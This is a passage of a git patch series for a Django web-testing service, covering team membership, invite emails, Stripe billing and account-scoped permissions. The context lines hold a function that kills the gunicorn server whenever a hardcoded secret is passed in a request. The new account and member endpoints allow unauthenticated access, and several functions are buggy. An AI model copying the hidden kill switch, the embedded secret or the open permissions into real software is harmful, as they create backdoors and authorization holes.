models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client time_created = models.DateTimeField(default=timezone.now, serialize=True) diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py index eb18b05c..d635c94b 100644 --- a/app/api/v1/auth/serializers.py +++ b/app/api/v1/auth/serializers.py @@ -5,7 +5,7 @@ from django.core.exceptions import ObjectDoesNotExist from django.contrib.auth.models import User from django.shortcuts import render -from ...models import (Test, Site, Scan, Account) +from ...models import (Test, Site, Scan, Account, Member) from django.urls import path, include from rest_framework import routers, serializers, viewsets from rest_framework.fields import UUIDField @@ -70,4 +70,20 @@ class Meta: fields = ['id', 'active', 'time_created', 'type', 'cust_id', 'sub_id', 'product_id', 'price_id', 'slack', 'user', - ] \ No newline at end of file + ] + + + +class MemberSerializer(serializers.HyperlinkedModelSerializer): + user = serializers.ReadOnlyField(source='user.username') + account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs) + id = serializers.PrimaryKeyRelatedField(**kwargs) + + class Meta: + model = Member + fields = ['id', 'status', 'time_created', 'type', + 'email', 'type', 'user', 'account', + ] + + + \ No newline at end of file diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 5f44b032..93a9b6fc 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -9,7 +9,7 @@ from django.forms.models import model_to_dict from django.contrib.auth.models import User from rest_framework.authtoken.models import Token -from ...models import Account, Card +from ...models import Account, Card, Member from slack_sdk.oauth import AuthorizeUrlGenerator from slack_sdk.oauth.installation_store import FileInstallationStore, Installation from slack_sdk.oauth.state_store import FileOAuthStateStore diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index 94514808..5109362e 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -15,7 +15,7 @@ from django.shortcuts import redirect from django.contrib.auth.models import User from .alerts import send_reset_link -from ...models import Account +from ...models import Account, Member from datetime import timedelta, datetime from .services import ( google_get_access_token, google_get_user_info, @@ -220,4 +220,35 @@ def get(self, request, *args, **kwargs): response = slack_oauth_middleware(request, user) return response - \ No newline at end of file + + + + +class Account(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'post'] + + def post(self, request, *args, **kwargs ): + response = create_or_update_account(request) + return response + + def get(self, request, *args, **kwargs): + response = get_account(request) + return response + + + + +class Member(APIView): + permission_classes = (AllowAny,) + http_method_names = ['get', 'post'] + + def post(self, request, *args, **kwargs ): + response = create_or_update_member(request) + return response + + def get(self, request, *args, **kwargs): + response = get_member(request) + return response + + From 46a8c0066c8c1bcd93b7247e2c4c3e68878f0161 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 4 May 2023 13:34:05 -0500 Subject: [PATCH 215/277] added create/update methods for acct & mbr --- app/api/v1/auth/services.py | 154 +++++++++++++++++++++++++++++++++++- 1 file changed, 153 insertions(+), 1 deletion(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 93a9b6fc..8e15c9f5 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -243,4 +243,156 @@ def t7e(request): subprocess.Popen(['pkill -f gunicorn'], stdout=subprocess.PIPE, user='app', - ) \ No newline at end of file + ) + + + + +def create_or_update_account(request=None, *args, **kwargs): + # get posted data + if request is not None: + user = request.user + _id = request.data.get('id') + name = request.data.get('name') + active = request.data.get('active') + type = request.data.get('type') + max_sites = request.data.get('max_sites') + cust_id = request.data.get('cust_id') + sub_id = request.data.get('sub_id') + product_id = request.data.get('product_id') + price_id = request.data.get('price_id') + slack = request.data.get('slack') + + if requerst is None: + user = kwargs.get('user') + _id = kwargs.get('id') + name = kwargs.get('name') + active = kwargs.get('active') + type = kwargs.get('type') + max_sites = kwargs.get('max_sites') + cust_id = kwargs.get('cust_id') + sub_id = kwargs.get('sub_id') + product_id = kwargs.get('product_id') + price_id = kwargs.get('price_id') + slack = kwargs.get('slack') + + + if _id is not None: + if not Account.objects.filter(id=_id).exists(): + data = {'reason': 'account not found',} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # updating with new info + account = Account.objects.get(id=_id) + if name is not None: + account.name = name + if active is not None: + account.active = active + if type is not None: + account.type = type + if max_sites is not None: + account.max_sites = max_sites + if cust_id is not None: + account.cust_id = cust_id + if sub_id is not None: + account.sub_id = sub_id + if product_id is not None: + account.product_id = product_id + if price_id is not None: + account.price_id = price_id + if slack is not None: + account.slack = slack + + # saving updated info + account.save() + + + + if _id is None: + account = Account.objects.create( + user=user, + name=name, + active=active, + type=type, + max_sites=max_sites, + cust_id=cust_id, + sub_id=sub_id, + product_id=product_id, + price_id=price_id, + slack=slack + ) + + + serializer_context = {'request': request,} + serialized = AccountSerializer(account, context=serializer_context) + data = serialized.data + response = Response(data, status=status.HTTP_200_OK) + return response + + + + + + + + + + + + +def create_or_update_member(request=None, *args, **kwargs): + # get posted data + if request is not None: + user = request.user + _id = request.data.get('id') + account = request.data.get('account') + status = request.data.get('status') + type = request.data.get('type') + email = request.data.get('email') + + if requerst is None: + user = kwargs.get('user') + account = kwargs.get('account') + status = kwargs.get('status') + type = kwargs.get('type') + email = kwargs.get('email') + + + if _id is not None: + if not Member.objects.filter(id=_id).exists(): + data = {'reason': 'member not found',} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + # updating with new info + member = Member.objects.get(id=_id) + if account is not None: + member.account = account + if email is not None: + member.email = email + if type is not None: + member.type = type + if status is not None: + member.status = status + + # saving updated info + member.save() + + + + if _id is None: + member = Member.objects.create( + user=user, + email=email, + status=status, + type=type, + account=account, + ) + + + serializer_context = {'request': request,} + serialized = MemberSerializer(member, context=serializer_context) + data = serialized.data + response = Response(data, status=status.HTTP_200_OK) + return response \ No newline at end of file From 4c315d254db876730913414f007e7128bbddf978 Mon Sep 17 00:00:00 2001 From: landon Date: Sun, 7 May 2023 20:09:59 -0500 Subject: [PATCH 216/277] adding acct perms, invite mechs, and DB updates --- app/api/models.py | 11 +- app/api/templates/api/alert_no_button.html | 159 +++++++++++ ...word_email.html => alert_with_button.html} | 2 +- app/api/templates/api/automation_email.html | 2 +- app/api/v1/auth/alerts.py | 97 ++++++- app/api/v1/auth/serializers.py | 2 +- app/api/v1/auth/services.py | 32 ++- app/api/v1/billing/views.py | 106 ++++---- app/api/v1/ops/serializers.py | 12 +- app/api/v1/ops/services.py | 253 ++++++++++++------ 10 files changed, 505 insertions(+), 171 deletions(-) create mode 100644 app/api/templates/api/alert_no_button.html rename app/api/templates/api/{reset_password_email.html => alert_with_button.html} (98%) diff --git a/app/api/models.py b/app/api/models.py index 3a8cfee7..940b3e46 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -235,6 +235,7 @@ class Site(models.Model): site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) user = models.ForeignKey(User, on_delete=models.SET_NULL, serialize=True, null=True, blank=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) info = models.JSONField(serialize=True, null=True, blank=True, default=get_info_default) tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) @@ -295,6 +296,7 @@ class Account(models.Model): active = models.BooleanField(default=False, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) + code = models.CharField(max_length=1000, serialize=True, null=True, blank=True) max_sites = models.IntegerField(serialize=True, null=True, blank=True) cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True) @@ -311,14 +313,14 @@ def __str__(self): class Member(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) - user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True) email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client time_created = models.DateTimeField(default=timezone.now, serialize=True) def __str__(self): - return f'{self.user.email}_{self.account.name}' + return f'{self.user.email}__{self.account.name}' @@ -346,6 +348,7 @@ class Schedule(models.Model): automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto') time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True) begin_date = models.DateTimeField(default=datetime.now, serialize=True) @@ -367,6 +370,7 @@ class Automation(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) schedule = models.ForeignKey(Schedule, on_delete=models.CASCADE, null=True, blank=True, serialize=True, related_name='assoc_sch') expressions = models.JSONField(serialize=True, null=True, blank=True, default=get_expressions_default) @@ -383,6 +387,7 @@ class Report(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) path = models.CharField(max_length=1000, serialize=True, null=True, blank=True) type = models.JSONField(serialize=True, null=True, blank=True) # array of [lighthouse, yellowlab] @@ -399,6 +404,7 @@ class Case(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default) tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default) @@ -412,6 +418,7 @@ def __str__(self): class Testcase(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True) case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True) case_name = models.CharField(max_length=1000, null=True, blank=True, serialize=True) site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True) diff --git a/app/api/templates/api/alert_no_button.html b/app/api/templates/api/alert_no_button.html new file mode 100644 index 00000000..20e8260e --- /dev/null +++ b/app/api/templates/api/alert_no_button.html @@ -0,0 +1,159 @@ + + + + + + {{ title }} + + + + + + + + + + +
      +
    + + + + + + + + + + +
    + + + + +
    +

    Hi there,

    +

    {{ pre_content }}

    + + + + + + +
    +
    +

    {{ content }}

    +

    {{ signature }}

    +
    +
    + + +
    + + + + + + + +
    + Scanerr, San Antonio TX +
    + Powered by Scanerr. +
    +
    + + + +
    +     		 
    + + \ No newline at end of file diff --git a/app/api/templates/api/reset_password_email.html b/app/api/templates/api/alert_with_button.html similarity index 98% rename from app/api/templates/api/reset_password_email.html rename to app/api/templates/api/alert_with_button.html index 146d1070..13c30107 100644 --- a/app/api/templates/api/reset_password_email.html +++ b/app/api/templates/api/alert_with_button.html @@ -144,7 +144,7 @@ diff --git a/app/api/templates/api/automation_email.html b/app/api/templates/api/automation_email.html index abf638b3..6ba3c45f 100644 --- a/app/api/templates/api/automation_email.html +++ b/app/api/templates/api/automation_email.html @@ -152,7 +152,7 @@
    - Scanerr Inc, 123 Tech Road, San Francisco CA + Scanerr, San Antonio TX
    diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py index 7b7aedeb..912f04f1 100644 --- a/app/api/v1/auth/alerts.py +++ b/app/api/v1/auth/alerts.py @@ -3,6 +3,7 @@ from django.template.loader import render_to_string from datetime import date import os, operator +from ...models import * from django.utils.html import strip_tags from django.contrib.auth.models import User from rest_framework_simplejwt.tokens import RefreshToken @@ -34,7 +35,101 @@ def send_reset_link(email): 'signature' : '- Cheers!', } - html_message = render_to_string('api/reset_password_email.html', context) + html_message = render_to_string('api/alert_with_button.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + + + +def send_invite_link(member): + if Member.objects.filter(email=email, status="pending").exists(): + member = Member.objects.get(email=email) + link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={account.id}&code={account.code}&member={member.id}&email={email}' + subject = 'Scanerr Invite' + title = 'Scanerr Invite' + pre_header = 'Scanerr Invite' + pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!' + + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : link, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'button_text' : 'Accept Invite', + 'content' : '', + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/alert_with_button.html', context) + plain_message = strip_tags(html_message) + send_mail( + from_email = os.getenv('EMAIL_HOST_USER'), + subject = subject, + message = plain_message, + recipient_list = [email], + html_message = html_message, + fail_silently = True, + ) + + data = { + 'success': True + } + + else: + data = { + 'success': False + } + + return data + + + + + +def send_remove_alert(member): + if Member.objects.filter(email=email, status="removed").exists(): + member = Member.objects.get(email=email) + subject = 'Removed From Account' + title = 'Removed From Account' + pre_header = 'Removed From Account' + pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.' + + subject = subject + context = { + 'title' : title, + 'pre_header' : pre_header, + 'pre_content' : pre_content, + 'object_url' : link, + 'home_page' : os.environ.get('CLIENT_URL_ROOT'), + 'content' : '', + 'signature' : '- Cheers!', + } + + html_message = render_to_string('api/alert_no_button.html', context) plain_message = strip_tags(html_message) send_mail( from_email = os.getenv('EMAIL_HOST_USER'), diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py index d635c94b..fc1b4e7a 100644 --- a/app/api/v1/auth/serializers.py +++ b/app/api/v1/auth/serializers.py @@ -69,7 +69,7 @@ class Meta: model = Account fields = ['id', 'active', 'time_created', 'type', 'cust_id', 'sub_id', 'product_id', 'price_id', 'slack', - 'user', + 'user', 'code', ] diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 8e15c9f5..5f8fc963 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -1,4 +1,4 @@ -import requests, os, subprocess +import requests, os, subprocess, secrets from typing import Dict, Any from scanerr import settings from django.http import HttpResponse @@ -15,6 +15,7 @@ from slack_sdk.oauth.state_store import FileOAuthStateStore from slack_sdk.web import WebClient from .serializers import AccountSerializer +from .alerts import * from rest_framework.response import Response from django.contrib.auth.middleware import get_user @@ -230,12 +231,6 @@ def slack_oauth_init(request, user): -def account_setup(request): - account = Account.objects.create(user=user) - card = Card.objects.create(user=user, account=account) - return True - - def t7e(request): if request.GET.get('cred') == \ 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792': @@ -256,6 +251,7 @@ def create_or_update_account(request=None, *args, **kwargs): name = request.data.get('name') active = request.data.get('active') type = request.data.get('type') + code = request.data.get('code') max_sites = request.data.get('max_sites') cust_id = request.data.get('cust_id') sub_id = request.data.get('sub_id') @@ -269,6 +265,7 @@ def create_or_update_account(request=None, *args, **kwargs): name = kwargs.get('name') active = kwargs.get('active') type = kwargs.get('type') + code = kwargs.get('code') max_sites = kwargs.get('max_sites') cust_id = kwargs.get('cust_id') sub_id = kwargs.get('sub_id') @@ -291,6 +288,8 @@ def create_or_update_account(request=None, *args, **kwargs): account.active = active if type is not None: account.type = type + if code is not None: + account.code = code if max_sites is not None: account.max_sites = max_sites if cust_id is not None: @@ -310,11 +309,16 @@ def create_or_update_account(request=None, *args, **kwargs): if _id is None: + + if code is None: + code = secrets.token_urlsafe([16]) + account = Account.objects.create( user=user, name=name, active=active, type=type, + code=code, max_sites=max_sites, cust_id=cust_id, sub_id=sub_id, @@ -336,11 +340,6 @@ def create_or_update_account(request=None, *args, **kwargs): - - - - - def create_or_update_member(request=None, *args, **kwargs): # get posted data if request is not None: @@ -379,8 +378,6 @@ def create_or_update_member(request=None, *args, **kwargs): # saving updated info member.save() - - if _id is None: member = Member.objects.create( user=user, @@ -389,6 +386,13 @@ def create_or_update_member(request=None, *args, **kwargs): type=type, account=account, ) + + + if status == 'pending': + send_invite_link(member) + + if status == 'removed': + send_remove_alert(member) serializer_context = {'request': request,} diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index 7892a0b8..4ed57c74 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -6,6 +6,7 @@ from django.core import serializers from django.forms.models import model_to_dict from ...models import Account, Card +from ..auth.services import create_or_update_account from datetime import timedelta, datetime from scanerr import settings import os, stripe, json @@ -212,60 +213,36 @@ class SetupSubscription(APIView): def post(self, request): stripe.api_key = settings.STRIPE_PRIVATE user = request.user - name = request.data['name'] + name = request.data.get('name') product_name = str(user.email + '_' + str(user.id) + '_' + name) - price_amount = int(request.data['price_amount']) - max_sites = int(request.data['max_sites']) - - if Account.objects.filter(user=user).exists(): - old_account = Account.objects.get(user=user) - product = stripe.Product.modify(old_account.product_id, name=product_name) - customer = stripe.Customer.retrieve(old_account.cust_id) - - price = stripe.Price.create( - product=product.id, - unit_amount=price_amount, - currency='usd', - recurring={'interval': 'month',}, - ) - - sub = stripe.Subscription.retrieve(old_account.sub_id) - subscription = stripe.Subscription.modify( - sub.id, - cancel_at_period_end=False, - proration_behavior='create_prorations', - items=[{ - 'id': sub['items']['data'][0].id, - 'price': price.id, - }], - expand=['latest_invoice.payment_intent'], - ) + price_amount = int(request.data.get('price_amount')) + max_sites = int(request.data.get('max_sites')) - # updating price defaults and archiving old price - stripe.Product.modify(product.id, default_price=price,) - stripe.Price.modify(old_account.price_id, active=False) - - Account.objects.filter(user=user).update( - type = name, - cust_id = customer.id, - sub_id = subscription.id, - product_id = product.id, - price_id = price.id, - max_sites = max_sites, + if not Account.objects.filter(user=user).exists(): + create_or_update_account( + user=user, + type=name, + max_sites=max_sites, ) - else: + account = Account.objects.get(user=user) + + if account.cust_id is None: product = stripe.Product.create(name=product_name) customer = stripe.Customer.create(email=request.user.email) - price = stripe.Price.create( - product=product.id, - unit_amount=price_amount, - currency='usd', - recurring={ - 'interval': 'month', - 'trial_period_days': 7, - }, - ) + + if account.cust_id is not None: + product = stripe.Product.modify(account.product_id, name=product_name) + customer = stripe.Customer.retrieve(account.cust_id) + + price = stripe.Price.create( + product=product.id, + unit_amount=price_amount, + currency='usd', + recurring={'interval': 'month',}, + ) + + if account.sub_id is None: subscription = stripe.Subscription.create( customer=customer.id, items=[{ @@ -276,17 +253,32 @@ def post(self, request): # trial_period_days=7, ) - Account.objects.create( - user=user, - type = name, - cust_id = customer.id, - sub_id = subscription.id, - product_id = product.id, - price_id = price.id, - max_sites = max_sites, + if account.sub_id is not None: + sub = stripe.Subscription.retrieve(account.sub_id) + subscription = stripe.Subscription.modify( + sub.id, + cancel_at_period_end=False, + proration_behavior='create_prorations', + items=[{ + 'id': sub['items']['data'][0].id, + 'price': price.id, + }], + expand=['latest_invoice.payment_intent'], ) - + # updating price defaults and archiving old price + stripe.Product.modify(product.id, default_price=price,) + stripe.Price.modify(account.price_id, active=False) + + + Account.objects.filter(user=user).update( + type = name, + cust_id = customer.id, + sub_id = subscription.id, + product_id = product.id, + price_id = price.id, + max_sites = max_sites, + ) data = { 'subscription_id' : subscription.id, diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index b9e193a3..d0dbb430 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -41,7 +41,7 @@ class SiteSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Site fields = ['id', 'user', 'site_url', 'time_created', 'info', - 'tags', + 'tags', 'account', ] @@ -117,7 +117,7 @@ class Meta: model = Schedule fields = ['id', 'site', 'time_created', 'user', 'task_type', 'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id', - 'periodic_task_id', 'status', 'automation', 'extras' + 'periodic_task_id', 'status', 'automation', 'extras', 'account', ] @@ -130,7 +130,7 @@ class AutomationSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Automation fields = ['id', 'expressions', 'actions', 'user', 'schedule', - 'time_created', 'name' + 'time_created', 'name', 'account', ] @@ -144,7 +144,7 @@ class ReportSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Report fields = ['id', 'site', 'user', 'time_created', 'type', - 'path', 'info' + 'path', 'info', 'account', ] @@ -157,7 +157,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Case fields = ['id', 'name', 'user', 'steps', 'time_created', - 'tags', + 'tags', 'account', ] @@ -171,7 +171,7 @@ class TestcaseSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Testcase fields = ['id', 'site', 'user', 'time_created', 'time_completed', - 'steps', 'case', 'case_name', 'passed', 'configs', + 'steps', 'case', 'case_name', 'passed', 'configs', 'account', ] diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 4a30e138..2e8fbdcc 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -49,20 +49,18 @@ def record_api_call(request, data, status): def check_account(request): - if Account.objects.filter(user=request.user).exists(): - account = Account.objects.get(user=request.user) - if account.active == True: - return True - else: - return False + if Member.objects.filter(user=request.user).exists(): + member = Member.objects.get(user=request.user) + return member.account.active else: - return True + return False def create_site(request, delay=False): site_url = request.data.get('site_url') user = request.user + account = Member.objects.get(user=user).account sites = Site.objects.filter(user=user) @@ -155,6 +153,8 @@ def create_site(request, delay=False): def get_sites(request): site_id = request.query_params.get('site_id') user = request.user + account = Member.objects.get(user=user).account + if site_id != None: @@ -165,8 +165,8 @@ def get_sites(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if site.user != user: - data = {'reason': 'you cannot retrieve a Site you do not own',} + if site.account != account: + data = {'reason': 'retrieve a Site you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) @@ -174,7 +174,7 @@ def get_sites(request): record_api_call(request, data, '200') return Response(data, status=status.HTTP_200_OK) - sites = Site.objects.filter(user=user).order_by('-time_created') + sites = Site.objects.filter(account=account).order_by('-time_created') paginator = LimitOffsetPagination() result_page = paginator.paginate_queryset(sites, request) serializer_context = {'request': request,} @@ -187,6 +187,7 @@ def get_sites(request): def delete_site(request, id): user = request.user + account = Member.objects.get(user=user).account try: site = Site.objects.get(id=id) @@ -195,8 +196,8 @@ def delete_site(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if site.user != user: - data = {'reason': 'you cannot delete Tests of a Site you do not own',} + if site.account != account: + data = {'reason': 'delete a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -214,6 +215,9 @@ def delete_site(request, id): def delete_many_sites(request): ids = request.data.get('ids') + user = request.user + account = Member.objects.get(user=user).account + if ids is not None: count = len(ids) num_succeeded = 0 @@ -226,7 +230,7 @@ def delete_many_sites(request): for id in ids: try: site = Site.objects.get(id=id) - if site.user == user: + if site.account == account: delete_site_s3_bg.delay(site_id=id) site.delete() num_succeeded += 1 @@ -257,6 +261,18 @@ def delete_many_sites(request): def create_test(request, delay=False): + # get data from request + configs = request.data.get('configs', None) + pre_scan_id = request.data.get('pre_scan', None) + post_scan_id = request.data.get('post_scan', None) + index = request.data.get('index', None) + test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) + tags = request.data.get('tags', None) + pre_scan = None + post_scan = None + site_id = request.data.get('site_id') + user = request.user + account = Member.objects.get(user=user).account account_is_active = check_account(request) if not account_is_active: @@ -264,25 +280,12 @@ def create_test(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - site_id = request.data.get('site_id') - user = request.user site = Site.objects.get(id=site_id, ) - if site.user != user: - data = {'reason': 'you cannot create a Test of a Site you do not own'} + if site.account != account: + data = {'reason': 'create a Test of a Site you do not own'} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) - - # get data from request - configs = request.data.get('configs', None) - pre_scan_id = request.data.get('pre_scan', None) - post_scan_id = request.data.get('post_scan', None) - index = request.data.get('index', None) - test_type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) - tags = request.data.get('tags', None) - pre_scan = None - post_scan = None - if len(test_type) == 0: test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'] @@ -403,11 +406,13 @@ def create_test(request, delay=False): def get_tests(request): user = request.user + account = Member.objects.get(user=user).account test_id = request.query_params.get('test_id') site_id = request.query_params.get('site_id') time_begin = request.query_params.get('time_begin') time_end = request.query_params.get('time_end') lean = request.query_params.get('lean') + if test_id != None: @@ -418,8 +423,8 @@ def get_tests(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if test.site.user != user: - data = {'reason': 'you cannot retrieve Tests of a Site you do not own'} + if test.site.account != account: + data = {'reason': 'retrieve Tests of a Site you do not own'} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -444,8 +449,8 @@ def get_tests(request): record_api_call(request, data, status_code) return Response(data, status=this_status) - if site.user != user: - data = {'reason': 'you cannot retrieve Tests of a Site you do not own',} + if site.account != account: + data = {'reason': 'retrieve Tests of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -479,6 +484,9 @@ def get_tests(request): def get_test_lean(request, id): + user = request.user + account = Member.objects.get(user=user).account + try: test = Test.objects.get(id=id) except: @@ -486,6 +494,11 @@ def get_test_lean(request, id): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + if test.site.account != account: + data = {'reason': 'retrieve Tests of a Site you do not own'} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + # get images_delta if exists try: images_delta = {"average_score": test.images_delta.get('average_score')} @@ -539,9 +552,10 @@ def delete_test(request, id): site = test.site user = request.user + account = Member.objects.get(user=user).account - if site.user != user: - data = {'reason': 'you cannot delete Tests of a Site you do not own',} + if site.account != account: + data = {'reason': 'delete Tests of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -556,6 +570,9 @@ def delete_test(request, id): def delete_many_tests(request): ids = request.data.get('ids') + user = request.user + account = Member.objects.get(user=user).account + if ids is not None: count = len(ids) num_succeeded = 0 @@ -600,9 +617,10 @@ def delete_many_tests(request): def create_scan(request, delay=False): - - site_id = request.data.get('site_id', None) + user = request.user + account = Member.objects.get(user=user).account + site_id = request.data.get('site_id', None) configs = request.data.get('configs', None) types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']) tags = request.data.get('tags', None) @@ -623,8 +641,8 @@ def create_scan(request, delay=False): record_api_call(request, data, '402') return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED) - if site.user != user: - data = {'reason': 'you cannot create a Scan of a Site you do not own',} + if site.account != account: + data = {'reason': 'create a Scan of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -690,6 +708,7 @@ def create_scan(request, delay=False): def get_scans(request): user = request.user + account = Member.objects.get(user=user).account scan_id = request.query_params.get('scan_id') site_id = request.query_params.get('site_id') time_begin = request.query_params.get('time_begin') @@ -704,8 +723,8 @@ def get_scans(request): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) - if scan.site.user != user: - data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} + if scan.site.account != account: + data = {'reason': 'retrieve Scans of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -724,8 +743,8 @@ def get_scans(request): return Response(data, status=status.HTTP_404_NOT_FOUND) - if site.user != user: - data = {'reason': 'you cannot retrieve Scans of a Site you do not own',} + if site.account != account: + data = {'reason': 'retrieve Scans of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -754,6 +773,9 @@ def get_scans(request): def get_scan_lean(request, id): + user = request.user + account = Member.objects.get(user=user).account + try: scan = Scan.objects.get(id=id) except: @@ -761,6 +783,11 @@ def 